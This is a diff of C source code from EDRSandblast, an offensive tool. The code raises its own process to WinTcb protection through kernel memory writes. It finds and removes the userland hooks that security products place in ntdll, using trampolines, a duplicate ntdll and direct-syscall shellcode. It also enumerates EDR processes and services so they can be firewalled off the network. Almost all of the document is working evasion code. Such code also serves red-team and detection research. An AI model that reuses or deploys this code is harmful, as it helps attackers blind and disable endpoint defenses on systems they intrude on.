}
_tprintf(TEXT("[+] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress);
_tprintf_or_not(TEXT("[+] [ProcessProtection] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress);
// Sets the current process EPROCESS's ProtectionLevel as Light WinTcb (PS_PROTECTED_WINTCB_LIGHT, currently 0x61).
DWORD64 processSignatureLevelAddress = processEPROCESSAddress + ntoskrnlOffsets.st.ps_protection;
// DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.ps_protection;
DWORD64 processSignatureLevelAddress = processEPROCESSAddress + g_ntoskrnlOffsets.st.eprocess_protection;
// DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.eprocess_protection;
UCHAR flagPPLWinTcb = ((UCHAR)((PsProtectedSignerWinTcb) << 4)) | ((UCHAR)(PsProtectedTypeProtectedLight));
_tprintf(TEXT("[*] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb);
WriteMemoryWORD(Device, processSignatureLevelAddress, flagPPLWinTcb);
CloseHandle(Device);
_tprintf_or_not(TEXT("[*] [ProcessProtection] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb);
WriteMemoryWORD(processSignatureLevelAddress, flagPPLWinTcb);
return 0;
}
-685
View File
@@ -1,685 +0,0 @@
/*
* All the logic that detects, resolves, patch userland hooks and other related structures
*/
#include <Windows.h>
#include <PathCch.h>
#include <stdio.h>
#include "UserlandHooks.h"
#include "PEBBrowse.h"
#include "Undoc.h"
#define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode)>=0)
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
#if _WIN64
#define PATCH_MAX_SIZE 0x18
#else
#define PATCH_MAX_SIZE 0x10
#endif
int debugf(const char* fmt, ...) {
#if _DEBUG
va_list args;
va_start(args, fmt);
int res = vprintf(fmt, args);
va_end(args);
return res;
#else
fmt = 0;
return 0;
#endif
}
/*
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
*/
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
for (size_t i = 0; i < len; i++) {
if (mem[i] != disk[i]) {
size_t patchStartIndex = i;
if (NULL != lenPatch) {
while (mem[i] != disk[i] && i < len) {
i++;
}
*lenPatch = i - patchStartIndex;
}
return &mem[patchStartIndex];
}
}
if (NULL != lenPatch) {
*lenPatch = 0;
}
return NULL;
}
/*
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
* The list is a NULL-terminated array of "diff" elements
*/
diff* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
size_t diffSize;
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
DWORD diffsListLen = 4;
size_t diffsListI = 0;
diff* diffsList = malloc(diffsListLen * sizeof(diff));
if (NULL == diffsList) {
debugf("bug in malloc in findDiffsInRange\n");
exit(1);
}
while (diffAddr != NULL && sizeToScan != 0) {
debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
searchStartMem = (BYTE*)diffAddr + diffSize;
diffsList[diffsListI].mem_ptr = diffAddr;
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
diffsList[diffsListI].size = diffSize;
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
diffsListI++;
if (diffsListI >= diffsListLen) {
diffsListLen *= 2;
diffsList = realloc(diffsList, diffsListLen * sizeof(diff));
if (NULL == diffsList) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
}
}
diffsList = realloc(diffsList, (diffsListI + 1) * sizeof(diff));
if (NULL == diffsList) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
diffsList[diffsListI].mem_ptr = NULL;
diffsList[diffsListI].disk_ptr = NULL;
diffsList[diffsListI].size = 0;
return diffsList;
}
/*
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
* Only read-only sections are compared, since writable sections will obviously contain differences.
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
*/
diff* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
diff* list = NULL;
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
nonWritableSection != NULL;
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
debugf("Diffs in section %s:\n", nonWritableSection->Name);
DWORD sectionRVA = nonWritableSection->VirtualAddress;
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
LPVOID searchStartMem = sectionAddrMem;
LPVOID searchStartDisk = sectionAddrDisk;
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
}
return list;
}
/*
* Dumps the full content of a single file, in a newly allocated buffer
*/
PBYTE readFullFileW(LPCWSTR fileName) {
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
DWORD fileSize = GetFileSize(hFile, NULL);
PBYTE fileContent = malloc(fileSize);
DWORD bytesRead = 0;
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
free(fileContent);
fileContent = NULL;
}
CloseHandle(hFile);
return fileContent;
}
/*
* Checks is a file extists (and is not a directory)
*/
BOOL FileExistsW(LPCWSTR szPath)
{
DWORD dwAttrib = GetFileAttributesW(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
/*
* Looks for a memory needle in a memory haystack
*/
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
{
if (!haystack)
return NULL;
if (!haystack_len)
return NULL;
if (!needle)
return NULL;
if (!needle_len)
return NULL;
PBYTE h = haystack;
while (haystack_len >= needle_len)
{
if (!memcmp(h, needle, needle_len))
return h;
++h;
--haystack_len;
}
return NULL;
}
/*
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
*/
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
{
SIZE_T haystack_len;
PVOID haystack;
PBYTE patternInExecutableMemory;
MEMORY_BASIC_INFORMATION mbi = { 0 };
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
{
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
break;
}
if (mbi.State != MEM_COMMIT) {
continue;
}
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
continue;
}
haystack = mbi.BaseAddress;
haystack_len = mbi.RegionSize;
while (haystack_len)
{
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
if (!patternInExecutableMemory) {
break;
}
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
return patternInExecutableMemory;
}
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
haystack = patternInExecutableMemory + 1;
}
}
return NULL;
}
VOID unhook(hook* hook, DWORD unhook_method) {
if (unhook_method == UNHOOK_NONE) {
return;
}
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
diff* patches = hook->list_patches;
//merge every small patches into 1 patch to perform a single write
diff patch = patches[0];
int nb_patches = 0;
while (patches[nb_patches].size) {
nb_patches++;
}
diff lastPatch = patches[nb_patches - 1];
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
// Method used to get a NtProtectVirtualMemory function that is safe to use
switch (unhook_method) {
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
// in this case, it is not really "safe" to use
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
break;
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
GetTempPathW(MAX_PATH, ntdlolFilePath);
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
secondNtdll = LoadLibraryW(ntdlolFilePath);
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_DIRECT_SYSCALL:
{
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
pRtlGetVersion RtlGetVersion = (pRtlGetVersion) PE_functionAddr(ntdll_mem, "RtlGetVersion");
OSVERSIONINFOEXW versionInformation = { 0 };
RtlGetVersion(&versionInformation);
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
DWORD oldProtect;
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
PBYTE pShellcode = shellcode;
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
pShellcode += sizeof(mov_eax_syscall_number);
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
pShellcode += sizeof(mov_r10_rcx);
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
pShellcode += sizeof(syscall_ret);
DWORD syscallNumber = 0;
PBYTE scanner = PE_functionAddr(ntdll_disk, "NtProtectVirtualMemory");
for (int i = 0; i < 0x10; i++ , scanner++) {
PDWORD pPotentialSycallNumber = (PDWORD) (scanner + 1);
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
syscallNumber = *pPotentialSycallNumber;
break;
}
}
if (syscallNumber != 0) {
//syscall number found !
}
else if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0) {
syscallNumber = 0x50; // win10
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
syscallNumber = 0x4F; // win8.1 / 2012 R2
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
syscallNumber = 0x4E; // win8 / 2012
}
else if (versionInformation.dwMajorVersion <= 6) {
syscallNumber = 0x4D; // win7 / 2008 R2 & before
}
else {
printf("UNHOOK_WITH_DIRECT_SYSCALL : unsupported OS version, exiting...");
exit(EXIT_FAILURE);
}
*((DWORD*)(&shellcode[1])) = syscallNumber;
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) shellcode;
#if !_WIN64
printf("UNHOOK_WITH_DIRECT_SYSCALL not implemented for 32 bits process, exiting...");
exit(EXIT_FAILURE);
#else
break;
}
#endif
default:
printf("Unhook method does not exist, exiting...");
exit(EXIT_FAILURE);
break;
}
//actually remove the hook
DWORD oldProtect;
PVOID patch_mem_ptr = patch.mem_ptr;
SIZE_T patch_size = patch.size;
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
PAGE_EXECUTE_READWRITE,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
exit(1);
}
for (size_t i = 0; i < patch.size; i++) {
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
}
status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
oldProtect,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
exit(1);
}
switch (unhook_method) {
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
FreeLibrary(secondNtdll);
}
DeleteFileW(ntdlolFilePath);
break;
}
}
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
PE* ntdllPE_mem = NULL;
PE* ntdllPE_disk = NULL;
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
size_t patchSize = 0;
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
if (patchSize == 0) {
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
}
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
PVOID trampoline = NULL;
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
if (NULL == trampoline) {
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
exit(1);
}
return (pNtProtectVirtualMemory)trampoline;
}
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
#if _WIN64
#define JUMP_SIZE 14
#else
#define JUMP_SIZE 5
#endif
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NULL == trampoline) {
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
exit(1);
}
DWORD oldProtect;
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
#if _WIN64
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
#else
* (trampoline + patchSize) = 0xE9; //far JMP
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
#endif
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
return (pNtProtectVirtualMemory)trampoline;
}
return NULL;
}
PVOID hookResolver(PBYTE hookAddr) {
PBYTE destination = hookAddr;
BOOL hasFollowedJmp = FALSE;
while (TRUE) {
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(destination, &mbi, sizeof(mbi));
if (mbi.State != MEM_COMMIT) {
return NULL;
}
switch (destination[0]) {
case 0xE9:
{
int diff = *((int*)(&destination[1]));
destination = &destination[5] + diff;
hasFollowedJmp = TRUE;
break;
}
#if _WIN64
case 0xFF:
{
BYTE selector = destination[1];
if (selector != 0x25) {
return NULL;
}
int diff = *((int*)(&destination[2]));
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
destination = (PBYTE)*offsetPtr;
hasFollowedJmp = TRUE;
break;
}
#endif
default:
if (!hasFollowedJmp) {
return NULL;
}
else {
return destination;
}
}
}
}
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
}
hook* searchHooks(const char* csvFileName) {
FILE* csvFile = NULL;
DWORD hookListSize = 8;
DWORD hookList_i = 0;
hook* hooksList = calloc(hookListSize, sizeof(hook));
if (NULL == hooksList) {
debugf("calloc failed\n");
exit(1);
}
if (csvFileName) {
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
perror("CSV file could not be opened:");
exit(1);
}
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
}
BOOL hooksFoundInLastModule = TRUE;
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
if (dll_name.Buffer == NULL) {
continue;
}
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
if (!hooksFoundInLastModule) {
printf("\tNo hooks found in this module.\n");
}
else {
hooksFoundInLastModule = FALSE;
}
printf("0x%p : %ws (%ws)\n", currentModuleEntry->DllBase, dll_name.Buffer, moduleName);
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer
);
}
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
PE* memDLL = PE_create(mem_dllImageBase, TRUE);
if (NULL == memDLL->exportDirectory) {
continue;
}
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
continue;
}
PBYTE disk_dllContent = readFullFileW(currentModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
debugf("\tError : readFullFileW: 0x%x\n\n", GetLastError());
continue;
}
PE* diskDLL = PE_create(disk_dllContent, FALSE);
PE_rebasePE(diskDLL, memDLL->baseAddress);
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
continue;
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
//check if hook was already detected in this function (due to export aliasing)
BOOL alreadyChecked = FALSE;
for (size_t i = 0; i < hookList_i; i++) {
if (hooksList[i].mem_function == mem_functionStart) {
alreadyChecked = TRUE;
break;
}
}
if (alreadyChecked)
continue;
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
printf("\tHook detected in function 0x%08lx : %s", functionRVA, functionName);
hooksFoundInLastModule = TRUE;
PVOID jmpTarget = hookResolver(mem_functionStart);
if (NULL == jmpTarget) {
printf(" ...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
}
else {
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
printf(" ");
}
printf("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer,
functionName,
jmpTarget,
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
);
}
if (hookList_i >= hookListSize) {
hookListSize *= 2;
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
if (hooksList == NULL) {
debugf("realloc failed\n");
exit(1);
}
}
printf("\n");
hooksList[hookList_i].mem_function = mem_functionStart;
hooksList[hookList_i].disk_function = disk_functionStart;
hooksList[hookList_i].functionName = functionName;
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
hookList_i++;
}
}
}
}
if (!hooksFoundInLastModule) {
printf("\tNo hooks found in this module.\n");
}
if (csvFileName) {
fclose(csvFile);
}
if (hookList_i >= hookListSize) {
hookListSize++;
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
if (NULL == hooksList) {
printf("realloc failed\n");
exit(1);
}
}
hooksList[hookList_i].mem_function = NULL;
hooksList[hookList_i].disk_function = NULL;
hooksList[hookList_i].functionName = NULL;
return hooksList;
}
/*
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
*/
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
PE* ntdllPE_mem_l = NULL;
PE* ntdllPE_disk_l = NULL;
if (ntdllMemPe_g == NULL) {
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
}
else {
ntdllPE_mem_l = ntdllMemPe_g;
}
if (ntdllDiskPe_g == NULL) {
PVOID disk_dllContent = readFullFileW(ntdllModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
exit(1);
}
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
}
else {
ntdllPE_disk_l = ntdllDiskPe_g;
}
if (ntdllPE_mem) {
*ntdllPE_mem = ntdllPE_mem_l;
}
if (ntdllPE_disk) {
*ntdllPE_disk = ntdllPE_disk_l;
}
}
void test_trampoline_search()
{
for (hook* h = searchHooks(NULL); h->disk_function; ++h)
{
PVOID trampoline = NULL;
printf("Looking for %s trampoline ...\n", h->functionName);
for (diff* d = h->list_patches; d->disk_ptr; ++d)
{
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
if (trampoline)
{
printf("\tTrampoline found at %p !\n", trampoline);
break;
}
}
if (!trampoline)
printf("\tTRAMPOLINE NOT FOUND !\n");
}
}
+451
View File
@@ -0,0 +1,451 @@
/*
--- Firewall rules to block EDR products from the network (inboud / outbound connections).
*/
#include "../EDRSandblast.h"
#include "Firewalling.h"
HRESULT FirewallBlockEDRBinaries(fwBlockingRulesList* sFWEntries) {
HRESULT hrStatus = S_OK;
// Create the Firewall blocking rules.
for (fwBinaryRules* slistNewFWEntry = sFWEntries->first; slistNewFWEntry != NULL; slistNewFWEntry=slistNewFWEntry->next) {
slistNewFWEntry->ruleInboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR));
slistNewFWEntry->ruleOutboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR));
if (!(slistNewFWEntry->ruleInboundName && slistNewFWEntry->ruleOutboundName)) {
_tprintf_or_not(TEXT("[!] Could not allocate memory to create Firewall blocking rules for \"%s\"\n"), slistNewFWEntry->binaryPath);
return 1;
}
hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_IN, slistNewFWEntry->ruleInboundName);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while creating the Firewall inbound blocking rule for \"%s\" (CreateFirewallRuleBlockBinary failed: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus);
}
else {
_tprintf_or_not(TEXT("[+] Successfully created Firewall inbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleInboundName, slistNewFWEntry->binaryPath);
}
hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_OUT, slistNewFWEntry->ruleOutboundName);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while creating the Firewall outbound blocking rule for \"%s\" (failed with: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus);
}
else {
_tprintf_or_not(TEXT("[+] Successfully created Firewall outbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleOutboundName, slistNewFWEntry->binaryPath);
}
}
return hrStatus;
}
// Enumerates the process, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products.
NTSTATUS EnumEDRProcess(fwBlockingRulesList* sFWEntries) {
PROCESSENTRY32 pe32;
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
HANDLE hProcess = INVALID_HANDLE_VALUE;
TCHAR binaryPath[MAX_PATH];
DWORD szBinaryPath = _countof(binaryPath);
fwBinaryRules* slistNewFWEntry = NULL;
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_putts_or_not(TEXT("[!] Could not get a snapshot of the system's processes (CreateToolhelp32Snapshot)"));
return -1;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
_putts_or_not(TEXT("[!] Could not retrieve information about the first process (Process32First)"));
goto cleanup;
}
do {
if (pe32.th32ProcessID == 0) {
continue;
}
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[*] Couldn't open handle on process (OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION) %ld\n"), pe32.th32ProcessID);
continue;
}
szBinaryPath = _countof(binaryPath);
if (!QueryFullProcessImageName(hProcess, 0, binaryPath, &szBinaryPath)) {
_tprintf_or_not(TEXT("[*] Couldn't query image information of process with PID %ld (QueryFullProcessImageName failed with 0x%x)\n"), pe32.th32ProcessID, GetLastError());
CloseHandle(hProcess);
continue;
}
if (isFileSignatureMatchingEDR(binaryPath) || isBinaryPathMatchingEDR(binaryPath)) {
slistNewFWEntry = calloc(1, sizeof(fwBinaryRules));
if (!slistNewFWEntry) {
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry)\n"), pe32.th32ProcessID);
goto cleanup;
}
slistNewFWEntry->binaryPath = _tcsdup(binaryPath);
if (!slistNewFWEntry->binaryPath) {
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry->binaryPath)\n"), pe32.th32ProcessID);
goto cleanup;
}
fwList_insertSorted(sFWEntries, slistNewFWEntry);
_tprintf_or_not(TEXT("[+] Found EDR binary in execution (process with PID %i): \"%s\"\n"), pe32.th32ProcessID, slistNewFWEntry->binaryPath);
}
CloseHandle(hProcess);
hProcess = INVALID_HANDLE_VALUE;
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return 0;
cleanup:
if (hProcessSnap != INVALID_HANDLE_VALUE) {
CloseHandle(hProcessSnap);
}
if (hProcess != INVALID_HANDLE_VALUE) {
CloseHandle(hProcess);
}
return -1;
}
// Enumerates the Windows services, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products.
NTSTATUS EnumEDRServices(fwBlockingRulesList* sFWEntries) {
SC_HANDLE hSCManager = NULL;
SC_HANDLE hService = NULL;
ENUM_SERVICE_STATUS_PROCESS* lpServices = NULL;
QUERY_SERVICE_CONFIG* lpServiceConfig = 0;
TCHAR serviceBinaryPath[MAX_PATH];
TCHAR serviceBinaryPathCopy[MAX_PATH];
DWORD lpServicesCount = 0;
DWORD dwByteCount = 0, dwBytesNeeded = 0;
DWORD dwError = 0;
BOOL returnValue;
fwBinaryRules* slistNewFWEntry = NULL;
// Open an handle on the Service Control Manager.
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT);
if (!hSCManager) {
_tprintf_or_not(TEXT("[!] Error while opening handle on the SCM (OpenSCManager failed: 0x%08lx)\n"), GetLastError());
return 1;
}
// Query services through the Service Control Manager, first call always fail due to insufficient buffer size.
do {
if (lpServices) {
free(lpServices);
lpServices = NULL;
}
dwByteCount = dwByteCount + dwBytesNeeded;
